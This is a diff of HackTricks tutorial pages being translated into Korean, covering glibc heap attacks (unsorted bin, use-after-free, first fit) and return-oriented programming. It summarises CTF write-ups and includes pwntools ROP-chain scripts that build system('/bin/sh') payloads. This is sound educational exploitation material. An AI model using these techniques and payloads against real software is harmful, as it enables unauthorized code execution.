그런 다음 C가 해제되고 A+B와 통합되었지만 B는 여전히 사용 중이었습니다. 크기 A의 새로운 chunk가 할당된 후 libc 유출 주소가 B에 기록되어 유출되었습니다.
## References & Other examples
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap)
- The goal is to overwrite a global variable with a value greater than 4869 so it's possible to get the flag and PIE is not enabled.
- It's possible to generate chunks of arbitrary sizes and there is a heap overflow with the desired size.
- The attack starts creating 3 chunks: chunk0 to abuse the overflow, chunk1 to be overflowed and chunk2 so top chunk doesn't consolidate the previous ones.
- Then, chunk1 is freed and chunk0 is overflowed to the `bk` pointer of chunk1 points to: `bk = magic - 0x10`
- Then, chunk3 is allocated with the same size as chunk1, which will trigger the unsorted bin attack and will modify the value of the global variable, making possible to get the flag.
- 목표는 4869보다 큰 값으로 전역 변수를 덮어쓰는 것이며, 이를 통해 플래그를 얻을 수 있고 PIE는 활성화되지 않습니다.
- 임의의 크기의 chunk를 생성할 수 있으며 원하는 크기로 힙 오버플로우가 발생합니다.
- 공격은 3개의 chunk를 생성하는 것으로 시작됩니다: chunk0는 오버플로우를 악용하고, chunk1은 오버플로우되며, chunk2는 top chunk가 이전 chunk와 통합되지 않도록 합니다.
- 그런 다음 chunk1이 해제되고 chunk0가 chunk1의 `bk` 포인터를 가리키도록 오버플로우됩니다: `bk = magic - 0x10`
- 그런 다음 chunk1과 동일한 크기로 chunk3가 할당되어 unsorted bin 공격이 트리거되고 전역 변수를 수정하여 플래그를 얻을 수 있게 됩니다.
- [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html)
- The merge function is vulnerable because if both indexes passed are the same one it'll realloc on it and then free it but returning a pointer to that freed region that can be used.
- Therefore, **2 chunks are created**: **chunk0** which will be merged with itself and chunk1 to prevent consolidating with the top chunk. Then, the **merge function is called with chunk0** twice which will cause a use after free.
- Then, the **`view`** function is called with index 2 (which the index of the use after free chunk), which will **leak a libc address**.
- As the binary has protections to only malloc sizes bigger than **`global_max_fast`** so no fastbin is used, an unsorted bin attack is going to be used to overwrite the global variable `global_max_fast`.
- Then, it's possible to call the edit function with the index 2 (the use after free pointer) and overwrite the `bk` pointer to point to `p64(global_max_fast-0x10)`. Then, creating a new chunk will use the previously compromised free address (0x20) will **trigger the unsorted bin attack** overwriting the `global_max_fast` which a very big value, allowing now to create chunks in fast bins.
- Now a **fast bin attack** is performed:
- First of all it's discovered that it's possible to work with fast **chunks of size 200** in the **`__free_hook`** location:
- <pre class="language-c"><code class="lang-c">gef➤ p &#x26;__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 &#x3C;__free_hook>
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
<strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
</strong>0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6076f &#x3C;list_all_lock+15>: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6077f &#x3C;_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
</code></pre>
- If we manage to get a fast chunk of size 0x200 in this location, it'll be possible to overwrite a function pointer that will be executed
- For this, a new chunk of size `0xfc` is created and the merged function is called with that pointer twice, this way we obtain a pointer to a freed chunk of size `0xfc*2 = 0x1f8` in the fast bin.
- Then, the edit function is called in this chunk to modify the **`fd`** address of this fast bin to point to the previous **`__free_hook`** function.
- Then, a chunk with size `0x1f8` is created to retrieve from the fast bin the previous useless chunk so another chunk of size `0x1f8` is created to get a fast bin chunk in the **`__free_hook`** which is overwritten with the address of **`system`** function.
- And finally a chunk containing the string `/bin/sh\x00` is freed calling the delete function, triggering the **`__free_hook`** function which points to system with `/bin/sh\x00` as parameter.
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
- Another example of abusing a 1B overflow to consolidate chunks in the unsorted bin and get a libc infoleak and then perform a fast bin attack to overwrite malloc hook with a one gadget address
- merge 함수는 두 인덱스가 동일할 경우 재할당하고 해제한 후 해제된 영역에 대한 포인터를 반환하므로 취약합니다.
- 따라서 **2개의 chunk가 생성됩니다**: **chunk0**는 자기 자신과 병합되고 chunk1은 top chunk와의 통합을 방지합니다. 그런 다음 **merge 함수가 chunk0에 대해 두 번 호출되어** use after free가 발생합니다.
- 그런 다음 **`view`** 함수가 인덱스 2(사용 후 해제된 chunk의 인덱스)로 호출되어 **libc 주소를 유출**합니다.
- 바이너리가 **`global_max_fast`**보다 큰 크기만 malloc할 수 있도록 보호가 되어 있으므로 fastbin은 사용되지 않고, unsorted bin 공격이 전역 변수 `global_max_fast`를 덮어쓰는 데 사용됩니다.
- 그런 다음 인덱스 2(사용 후 해제된 포인터)로 edit 함수를 호출하고 `bk` 포인터를 `p64(global_max_fast-0x10)`을 가리키도록 덮어씁니다. 그런 다음 새로운 chunk를 생성하면 이전에 손상된 해제 주소(0x20)를 사용하여 **unsorted bin 공격**이 트리거되어 `global_max_fast`를 매우 큰 값으로 덮어쓰게 되어 이제 fast bins에서 chunk를 생성할 수 있게 됩니다.
- 이제 **fast bin 공격**이 수행됩니다:
- 우선 **`__free_hook`** 위치에서 크기 200의 fast **chunk**로 작업할 수 있다는 것이 발견됩니다:
- <pre class="language-c"><code class="lang-c">gef➤ p &#x26;__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 &#x3C;__free_hook>
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
<strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
</strong>0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6076f &#x3C;list_all_lock+15>: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6077f &#x3C;_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
</code></pre>
- 이 위치에서 크기 0x200의 fast chunk를 얻으면 실행될 함수 포인터를 덮어쓸 수 있습니다.
- 이를 위해 크기 `0xfc`의 새로운 chunk가 생성되고 병합 함수가 그 포인터로 두 번 호출되어 fast bin에서 크기 `0xfc*2 = 0x1f8`의 해제된 chunk에 대한 포인터를 얻습니다.
- 그런 다음 이 chunk에서 edit 함수를 호출하여 이 fast bin의 **`fd`** 주소를 이전 **`__free_hook`** 함수로 가리키도록 수정합니다.
- 그런 다음 크기 `0x1f8`의 chunk가 생성되어 fast bin에서 이전의 쓸모없는 chunk를 가져오고, 또 다른 크기 `0x1f8`의 chunk가 생성되어 **`__free_hook`**에서 fast bin chunk를 가져오고, 이 chunk는 **`system`** 함수의 주소로 덮어씌워집니다.
- 마지막으로 문자열 `/bin/sh\x00`을 포함하는 chunk가 delete 함수를 호출하여 해제되어 **`__free_hook`** 함수가 호출되고, 이 함수는 `/bin/sh\x00`을 매개변수로 하여 system을 가리킵니다.
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
- 1B 오버플로우를 악용하여 unsorted bin에서 chunk를 통합하고 libc 정보 유출을 얻은 다음 fast bin 공격을 수행하여 malloc hook을 one gadget 주소로 덮어쓰는 또 다른 예입니다.
- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
- We can only allocate chunks of size greater than `0x100`.
- Overwrite `global_max_fast` using an Unsorted Bin attack (works 1/16 times due to ASLR, because we need to modify 12 bits, but we must modify 16 bits).
- Fast Bin attack to modify the a global array of chunks. This gives an arbitrary read/write primitive, which allows to modify the GOT and set some function to point to `system`.
- 우리는 `0x100`보다 큰 크기의 chunk만 할당할 수 있습니다.
- Unsorted Bin 공격을 사용하여 `global_max_fast`를 덮어씁니다(ASLR로 인해 1/16의 확률로 작동하며, 12비트를 수정해야 하지만 16비트를 수정해야 합니다).
- 전역 chunk 배열을 수정하기 위한 Fast Bin 공격. 이는 임의의 읽기/쓰기를 가능하게 하여 GOT를 수정하고 일부 함수를 `system`을 가리키도록 설정할 수 있습니다.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,14 +4,14 @@
## Basic Information
As the name implies, this vulnerability occurs when a program **stores some space** in the heap for an object, **writes** some info there, **frees** it apparently because it's not needed anymore and then **accesses it again**.
이 취약점은 프로그램이 객체를 위해 힙에 **공간을 저장**하고, 그곳에 **정보를 기록**한 후, 더 이상 필요하지 않다고 판단하여 **해제**한 다음 **다시 접근**할 때 발생합니다.
The problem here is that it's not ilegal (there **won't be errors**) when a **freed memory is accessed**. So, if the program (or the attacker) managed to **allocate the freed memory and store arbitrary data**, when the freed memory is accessed from the initial pointer that **data would be have been overwritten** causing a **vulnerability that will depends on the sensitivity of the data** that was stored original (if it was a pointer of a function that was going to be be called, an attacker could know control it).
여기서 문제는 **해제된 메모리에 접근**할 때 불법이 아니기 때문에 (에러가 발생하지 않음) 발생합니다. 따라서 프로그램(또는 공격자)이 **해제된 메모리를 할당하고 임의의 데이터를 저장**할 수 있다면, 해제된 메모리에 초기 포인터에서 접근할 때 **데이터가 덮어쓰여질 수** 있으며, 이는 원래 저장된 데이터의 민감도에 따라 **취약점을 초래할 수** 있습니다(예를 들어, 호출될 함수의 포인터였다면 공격자가 이를 제어할 수 있습니다).
### First Fit attack
A first fit attack targets the way some memory allocators, like in glibc, manage freed memory. When you free a block of memory, it gets added to a list, and new memory requests pull from that list from the end. Attackers can use this behavior to manipulate **which memory blocks get reused, potentially gaining control over them**. This can lead to "use-after-free" issues, where an attacker could **change the contents of memory that gets reallocated**, creating a security risk.\
Check more info in:
First fit 공격은 glibc와 같은 일부 메모리 할당기가 해제된 메모리를 관리하는 방식을 목표로 합니다. 메모리 블록을 해제하면 해당 블록이 목록에 추가되고, 새로운 메모리 요청은 그 목록의 끝에서 가져옵니다. 공격자는 이 동작을 이용하여 **어떤 메모리 블록이 재사용되는지를 조작하여 이를 제어할 수 있습니다**. 이는 공격자가 **재할당되는 메모리의 내용을 변경**할 수 있는 "use-after-free" 문제로 이어져 보안 위험을 초래할 수 있습니다.\
자세한 정보는 다음을 확인하세요:
{{#ref}}
first-fit.md

View File

@ -4,36 +4,33 @@
## **First Fit**
When you free memory in a program using glibc, different "bins" are used to manage the memory chunks. Here's a simplified explanation of two common scenarios: unsorted bins and fastbins.
프로그램에서 glibc를 사용하여 메모리를 해제할 때, 다양한 "빈"이 메모리 청크를 관리하는 데 사용됩니다. 다음은 두 가지 일반적인 시나리오에 대한 간단한 설명입니다: 정렬되지 않은 빈과 패스트 빈.
### Unsorted Bins
When you free a memory chunk that's not a fast chunk, it goes to the unsorted bin. This bin acts like a list where new freed chunks are added to the front (the "head"). When you request a new chunk of memory, the allocator looks at the unsorted bin from the back (the "tail") to find a chunk that's big enough. If a chunk from the unsorted bin is bigger than what you need, it gets split, with the front part being returned and the remaining part staying in the bin.
패스트 청크가 아닌 메모리 청크를 해제하면, 그것은 정렬되지 않은 빈으로 이동합니다. 이 빈은 새로 해제된 청크가 앞쪽(“헤드”)에 추가되는 목록처럼 작동합니다. 새로운 메모리 청크를 요청할 때, 할당자는 정렬되지 않은 빈의 뒤쪽(“테일”)에서 충분히 큰 청크를 찾습니다. 정렬되지 않은 빈의 청크가 필요한 것보다 크면, 그것은 나뉘어지고 앞부분이 반환되며 나머지 부분은 빈에 남아 있습니다.
Example:
- You allocate 300 bytes (`a`), then 250 bytes (`b`), the free `a` and request again 250 bytes (`c`).
- When you free `a`, it goes to the unsorted bin.
- If you then request 250 bytes again, the allocator finds `a` at the tail and splits it, returning the part that fits your request and keeping the rest in the bin.
- `c` will be pointing to the previous `a` and filled with the `a's`.
예시:
- 300 바이트(`a`)를 할당한 후, 250 바이트(`b`)를 할당하고, `a`를 해제한 후 다시 250 바이트(`c`)를 요청합니다.
- `a`를 해제하면, 그것은 정렬되지 않은 빈으로 이동합니다.
- 그 후 250 바이트를 다시 요청하면, 할당자는 테일에서 `a`를 찾아 그것을 나누고, 요청에 맞는 부분을 반환하며 나머지는 빈에 남깁니다.
- `c`는 이전의 `a`를 가리키며 `a`의 값으로 채워집니다.
```c
char *a = malloc(300);
char *b = malloc(250);
free(a);
char *c = malloc(250);
```
### Fastbins
Fastbins are used for small memory chunks. Unlike unsorted bins, fastbins add new chunks to the head, creating a last-in-first-out (LIFO) behavior. If you request a small chunk of memory, the allocator will pull from the fastbin's head.
Fastbins은 작은 메모리 청크에 사용됩니다. 정렬되지 않은 빈과 달리, fastbins은 새로운 청크를 헤드에 추가하여 후입선출(LIFO) 동작을 생성합니다. 작은 메모리 청크를 요청하면, 할당자는 fastbin의 헤드에서 가져옵니다.
Example:
- You allocate four chunks of 20 bytes each (`a`, `b`, `c`, `d`).
- When you free them in any order, the freed chunks are added to the fastbin's head.
- If you then request a 20-byte chunk, the allocator will return the most recently freed chunk from the head of the fastbin.
예시:
- 20바이트 크기의 청크를 네 개 할당합니다(`a`, `b`, `c`, `d`).
- 어떤 순서로 해제하든 해제된 청크는 fastbin의 헤드에 추가됩니다.
- 그 후 20바이트 청크를 요청하면, 할당자는 fastbin의 헤드에서 가장 최근에 해제된 청크를 반환합니다.
```c
char *a = malloc(20);
char *b = malloc(20);
@ -48,17 +45,16 @@ b = malloc(20); // c
c = malloc(20); // b
d = malloc(20); // a
```
## Other References & Examples
## 기타 참고자료 및 예시
- [**https://heap-exploitation.dhavalkapil.com/attacks/first_fit**](https://heap-exploitation.dhavalkapil.com/attacks/first_fit)
- [**https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/**](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/)
- ARM64. Use after free: Generate an user object, free it, generate an object that gets the freed chunk and allow to write to it, **overwriting the position of user->password** from the previous one. Reuse the user to **bypass the password check**
- ARM64. Use after free: 사용자 객체를 생성하고, 이를 해제한 후, 해제된 청크를 가져오는 객체를 생성하여 이를 쓸 수 있게 하여, **이전의 user->password 위치를 덮어씌웁니다.** 사용자를 재사용하여 **비밀번호 검사를 우회합니다.**
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example)
- The program allows to create notes. A note will have the note info in a malloc(8) (with a pointer to a function that could be called) and a pointer to another malloc(\<size>) with the contents of the note.
- The attack would be to create 2 notes (note0 and note1) with bigger malloc contents than the note info size and then free them so they get into the fast bin (or tcache).
- Then, create another note (note2) with content size 8. The content is going to be in note1 as the chunk is going to be reused, were we could modify the function pointer to point to the win function and then Use-After-Free the note1 to call the new function pointer.
- 프로그램은 노트를 생성할 수 있습니다. 노트는 malloc(8)에서 노트 정보를 가지고 있으며(호출할 수 있는 함수에 대한 포인터 포함) 노트의 내용을 가진 다른 malloc(\<size>)에 대한 포인터를 가집니다.
- 공격은 노트 정보 크기보다 큰 malloc 내용을 가진 2개의 노트(note0 및 note1)를 생성한 다음, 이를 해제하여 빠른 빈(fast bin) 또는 tcache에 들어가게 하는 것입니다.
- 그런 다음, 내용 크기가 8인 또 다른 노트(note2)를 생성합니다. 내용은 note1에 있을 것이며, 청크가 재사용될 것이므로 함수 포인터를 win 함수로 가리키도록 수정할 수 있으며, 그 후 note1을 Use-After-Free하여 새로운 함수 포인터를 호출합니다.
- [**https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html)
- It's possible to alloc some memory, write the desired value, free it, realloc it and as the previous data is still there, it will treated according the new expected struct in the chunk making possible to set the value ot get the flag.
- 메모리를 할당하고 원하는 값을 쓰고, 해제한 후 재할당할 수 있으며, 이전 데이터가 여전히 존재하므로 청크의 새로운 예상 구조에 따라 처리되어 값을 설정하거나 플래그를 가져올 수 있습니다.
- [**https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html)
- In this case it's needed to write 4 inside an specific chunk which is the first one being allocated (even after force freeing all of them). On each new allocated chunk it's number in the array index is stored. Then, allocate 4 chunks (+ the initialy allocated), the last one will have 4 inside of it, free them and force the reallocation of the first one, which will use the last chunk freed which is the one with 4 inside of it.
- 이 경우, 특정 청크에 4를 써야 하며, 이는 할당된 첫 번째 청크입니다(모든 청크를 강제로 해제한 후에도). 각 새로 할당된 청크의 배열 인덱스 번호가 저장됩니다. 그런 다음 4개의 청크(+ 처음 할당된 청크)를 할당하고, 마지막 청크에는 4가 들어 있으며, 이를 해제하고 첫 번째 청크의 재할당을 강제로 수행합니다. 이때 마지막으로 해제된 청크가 4를 포함하고 있습니다.

View File

@ -2,45 +2,44 @@
{{#include ../../banners/hacktricks-training.md}}
## **Basic Information**
## **기본 정보**
**Return-Oriented Programming (ROP)** is an advanced exploitation technique used to circumvent security measures like **No-Execute (NX)** or **Data Execution Prevention (DEP)**. Instead of injecting and executing shellcode, an attacker leverages pieces of code already present in the binary or in loaded libraries, known as **"gadgets"**. Each gadget typically ends with a `ret` instruction and performs a small operation, such as moving data between registers or performing arithmetic operations. By chaining these gadgets together, an attacker can construct a payload to perform arbitrary operations, effectively bypassing NX/DEP protections.
**Return-Oriented Programming (ROP)****No-Execute (NX)** 또는 **Data Execution Prevention (DEP)**와 같은 보안 조치를 우회하기 위해 사용되는 고급 익스플로잇 기법입니다. 공격자는 쉘코드를 주입하고 실행하는 대신, 바이너리 또는 로드된 라이브러리에 이미 존재하는 코드 조각을 활용합니다. 이러한 코드 조각을 **"가젯"**이라고 합니다. 각 가젯은 일반적으로 `ret` 명령어로 끝나며, 레지스터 간 데이터 이동이나 산술 연산과 같은 작은 작업을 수행합니다. 이러한 가젯을 연결하여 공격자는 임의의 작업을 수행하는 페이로드를 구성할 수 있으며, 효과적으로 NX/DEP 보호를 우회할 수 있습니다.
### How ROP Works
### ROP 작동 방식
1. **Control Flow Hijacking**: First, an attacker needs to hijack the control flow of a program, typically by exploiting a buffer overflow to overwrite a saved return address on the stack.
2. **Gadget Chaining**: The attacker then carefully selects and chains gadgets to perform the desired actions. This could involve setting up arguments for a function call, calling the function (e.g., `system("/bin/sh")`), and handling any necessary cleanup or additional operations.
3. **Payload Execution**: When the vulnerable function returns, instead of returning to a legitimate location, it starts executing the chain of gadgets.
1. **제어 흐름 탈취**: 먼저, 공격자는 프로그램의 제어 흐름을 탈취해야 하며, 일반적으로 버퍼 오버플로우를 이용해 스택에 저장된 반환 주소를 덮어씁니다.
2. **가젯 체이닝**: 공격자는 원하는 작업을 수행하기 위해 가젯을 신중하게 선택하고 연결합니다. 여기에는 함수 호출을 위한 인수 설정, 함수 호출(예: `system("/bin/sh")`), 필요한 정리 또는 추가 작업 처리 등이 포함될 수 있습니다.
3. **페이로드 실행**: 취약한 함수가 반환될 때, 합법적인 위치로 반환하는 대신 가젯 체인을 실행하기 시작합니다.
### Tools
### 도구
Typically, gadgets can be found using [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) or directly from **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)).
일반적으로 가젯은 [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) 또는 **pwntools**([ROP](https://docs.pwntools.com/en/stable/rop/rop.html))를 사용하여 찾을 수 있습니다.
## ROP Chain in x86 Example
## x86 예제에서의 ROP 체인
### **x86 (32-bit) Calling conventions**
### **x86 (32비트) 호출 규약**
- **cdecl**: The caller cleans the stack. Function arguments are pushed onto the stack in reverse order (right-to-left). **Arguments are pushed onto the stack from right to left.**
- **stdcall**: Similar to cdecl, but the callee is responsible for cleaning the stack.
- **cdecl**: 호출자가 스택을 정리합니다. 함수 인수는 역순(오른쪽에서 왼쪽으로)으로 스택에 푸시됩니다. **인수는 오른쪽에서 왼쪽으로 스택에 푸시됩니다.**
- **stdcall**: cdecl과 유사하지만, 피호출자가 스택을 정리할 책임이 있습니다.
### **Finding Gadgets**
### **가젯 찾기**
First, let's assume we've identified the necessary gadgets within the binary or its loaded libraries. The gadgets we're interested in are:
먼저, 바이너리 또는 로드된 라이브러리 내에서 필요한 가젯을 식별했다고 가정해 보겠습니다. 우리가 관심 있는 가젯은 다음과 같습니다:
- `pop eax; ret`: This gadget pops the top value of the stack into the `EAX` register and then returns, allowing us to control `EAX`.
- `pop ebx; ret`: Similar to the above, but for the `EBX` register, enabling control over `EBX`.
- `mov [ebx], eax; ret`: Moves the value in `EAX` to the memory location pointed to by `EBX` and then returns. This is often called a **write-what-where gadget**.
- Additionally, we have the address of the `system()` function available.
- `pop eax; ret`: 이 가젯은 스택의 최상위 값을 `EAX` 레지스터로 팝하고 반환하여 `EAX`를 제어할 수 있게 합니다.
- `pop ebx; ret`: 위와 유사하지만 `EBX` 레지스터에 대한 것으로, `EBX`를 제어할 수 있게 합니다.
- `mov [ebx], eax; ret`: `EAX`의 값을 `EBX`가 가리키는 메모리 위치로 이동하고 반환합니다. 이는 종종 **write-what-where gadget**이라고 불립니다.
- 추가로, `system()` 함수의 주소를 사용할 수 있습니다.
### **ROP Chain**
### **ROP 체인**
Using **pwntools**, we prepare the stack for the ROP chain execution as follows aiming to execute `system('/bin/sh')`, note how the chain starts with:
1. A `ret` instruction for alignment purposes (optional)
2. Address of `system` function (supposing ASLR disabled and known libc, more info in [**Ret2lib**](ret2lib/))
3. Placeholder for the return address from `system()`
4. `"/bin/sh"` string address (parameter for system function)
**pwntools**를 사용하여 ROP 체인 실행을 위해 스택을 다음과 같이 준비합니다. `system('/bin/sh')`를 실행하는 것을 목표로 하며, 체인이 다음으로 시작하는 방식을 주목하십시오:
1. 정렬을 위한 `ret` 명령어 (선택 사항)
2. `system` 함수의 주소 (ASLR 비활성화 및 libc가 알려진 경우 가정, 더 많은 정보는 [**Ret2lib**](ret2lib/)에서 확인)
3. `system()`에서 반환 주소를 위한 자리 표시자
4. `"/bin/sh"` 문자열 주소 (system 함수의 매개변수)
```python
from pwn import *
@ -59,10 +58,10 @@ ret_gadget = 0xcafebabe # This could be any gadget that allows us to control th
# Construct the ROP chain
rop_chain = [
ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr, # Address of system(). Execution will continue here after the ret gadget
0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system()
ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr, # Address of system(). Execution will continue here after the ret gadget
0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system()
]
# Flatten the rop_chain for use
@ -74,28 +73,26 @@ payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
```
## ROP 체인 x64 예제
## ROP Chain in x64 Example
### **x64 (64비트) 호출 규약**
### **x64 (64-bit) Calling conventions**
- **System V AMD64 ABI** 호출 규약을 사용하는 Unix 유사 시스템에서 **첫 번째 여섯 개의 정수 또는 포인터 인자는 레지스터 `RDI`, `RSI`, `RDX`, `RCX`, `R8`, 및 `R9`**에 전달됩니다. 추가 인자는 스택에 전달됩니다. 반환 값은 `RAX`에 배치됩니다.
- **Windows x64** 호출 규약은 첫 번째 네 개의 정수 또는 포인터 인자를 위해 `RCX`, `RDX`, `R8`, 및 `R9`를 사용하며, 추가 인자는 스택에 전달됩니다. 반환 값은 `RAX`에 배치됩니다.
- **레지스터**: 64비트 레지스터에는 `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, 및 `R8`에서 `R15`까지 포함됩니다.
- Uses the **System V AMD64 ABI** calling convention on Unix-like systems, where the **first six integer or pointer arguments are passed in the registers `RDI`, `RSI`, `RDX`, `RCX`, `R8`, and `R9`**. Additional arguments are passed on the stack. The return value is placed in `RAX`.
- **Windows x64** calling convention uses `RCX`, `RDX`, `R8`, and `R9` for the first four integer or pointer arguments, with additional arguments passed on the stack. The return value is placed in `RAX`.
- **Registers**: 64-bit registers include `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, and `R8` to `R15`.
#### **가젯 찾기**
#### **Finding Gadgets**
우리의 목적을 위해, **RDI** 레지스터를 설정할 수 있는 가젯에 집중하겠습니다 ( **"/bin/sh"** 문자열을 **system()**에 인자로 전달하기 위해) 그리고 **system()** 함수를 호출합니다. 다음 가젯을 식별했다고 가정하겠습니다:
For our purpose, let's focus on gadgets that will allow us to set the **RDI** register (to pass the **"/bin/sh"** string as an argument to **system()**) and then call the **system()** function. We'll assume we've identified the following gadgets:
- **pop rdi; ret**: 스택의 최상위 값을 **RDI**에 팝하고 반환합니다. **system()**에 대한 인자를 설정하는 데 필수적입니다.
- **ret**: 간단한 반환으로, 일부 시나리오에서 스택 정렬에 유용합니다.
- **pop rdi; ret**: Pops the top value of the stack into **RDI** and then returns. Essential for setting our argument for **system()**.
- **ret**: A simple return, useful for stack alignment in some scenarios.
그리고 우리는 **system()** 함수의 주소를 알고 있습니다.
And we know the address of the **system()** function.
### **ROP Chain**
Below is an example using **pwntools** to set up and execute a ROP chain aiming to execute **system('/bin/sh')** on **x64**:
### **ROP 체인**
아래는 **pwntools**를 사용하여 **system('/bin/sh')**를 실행하는 ROP 체인을 설정하고 실행하는 예제입니다:
```python
from pwn import *
@ -115,10 +112,10 @@ ret_gadget = 0xdeadbeefdeadbead # ret gadget for alignment, if necessary
# Construct the ROP chain
rop_chain = [
ret_gadget, # Alignment gadget, if needed
pop_rdi_gadget, # pop rdi; ret
bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system()
system_addr # Address of system(). Execution will continue here.
ret_gadget, # Alignment gadget, if needed
pop_rdi_gadget, # pop rdi; ret
bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system()
system_addr # Address of system(). Execution will continue here.
]
# Flatten the rop_chain for use
@ -130,66 +127,65 @@ payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
```
이 예제에서:
In this example:
- 우리는 **`pop rdi; ret`** 가젯을 사용하여 **`RDI`**를 **`"/bin/sh"`**의 주소로 설정합니다.
- **`RDI`**를 설정한 후, 체인에 **system()**의 주소가 있는 상태에서 **`system()`**으로 직접 점프합니다.
- **`ret_gadget`**은 대상 환경이 필요로 할 경우 정렬을 위해 사용되며, 이는 함수 호출 전에 적절한 스택 정렬을 보장하기 위해 **x64**에서 더 일반적입니다.
- We utilize the **`pop rdi; ret`** gadget to set **`RDI`** to the address of **`"/bin/sh"`**.
- We directly jump to **`system()`** after setting **`RDI`**, with **system()**'s address in the chain.
- **`ret_gadget`** is used for alignment if the target environment requires it, which is more common in **x64** to ensure proper stack alignment before calling functions.
### 스택 정렬
### Stack Alignment
**x86-64 ABI**는 **call instruction**이 실행될 때 **스택이 16바이트 정렬**되도록 보장합니다. **LIBC**는 성능 최적화를 위해 **SSE instructions**(예: **movaps**)를 사용하며, 이 정렬이 필요합니다. 스택이 제대로 정렬되지 않으면(**RSP**가 16의 배수가 아닐 경우) **ROP chain**에서 **system**과 같은 함수 호출이 실패합니다. 이를 해결하려면 ROP 체인에서 **system**을 호출하기 전에 **ret gadget**을 추가하면 됩니다.
**The x86-64 ABI** ensures that the **stack is 16-byte aligned** when a **call instruction** is executed. **LIBC**, to optimize performance, **uses SSE instructions** (like **movaps**) which require this alignment. If the stack isn't aligned properly (meaning **RSP** isn't a multiple of 16), calls to functions like **system** will fail in a **ROP chain**. To fix this, simply add a **ret gadget** before calling **system** in your ROP chain.
## x86 vs x64 main difference
## x86과 x64의 주요 차이점
> [!TIP]
> Since **x64 uses registers for the first few arguments,** it often requires fewer gadgets than x86 for simple function calls, but finding and chaining the right gadgets can be more complex due to the increased number of registers and the larger address space. The increased number of registers and the larger address space in **x64** architecture provide both opportunities and challenges for exploit development, especially in the context of Return-Oriented Programming (ROP).
> **x64는 처음 몇 개의 인수에 레지스터를 사용하므로,** 간단한 함수 호출을 위해 x86보다 더 적은 가젯을 필요로 하지만, 레지스터 수가 증가하고 주소 공간이 커짐에 따라 올바른 가젯을 찾고 연결하는 것이 더 복잡할 수 있습니다. **x64** 아키텍처의 증가된 레지스터 수와 더 큰 주소 공간은 특히 Return-Oriented Programming (ROP) 맥락에서 익스플로잇 개발에 기회와 도전을 제공합니다.
## ROP chain in ARM64 Example
## ARM64 예제의 ROP 체인
### **ARM64 Basics & Calling conventions**
### **ARM64 기초 및 호출 규약**
Check the following page for this information:
이 정보를 보려면 다음 페이지를 확인하세요:
{{#ref}}
../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
## Protections Against ROP
## ROP에 대한 보호 조치
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): These protections makes harder the use of ROP as the addresses of the gadgets changes between execution.
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): In of a BOF, it's needed to bypass the stores stack canary to overwrite return pointers to abuse a ROP chain
- **Lack of Gadgets**: If there aren't enough gadgets it won't be possible to generate a ROP chain.
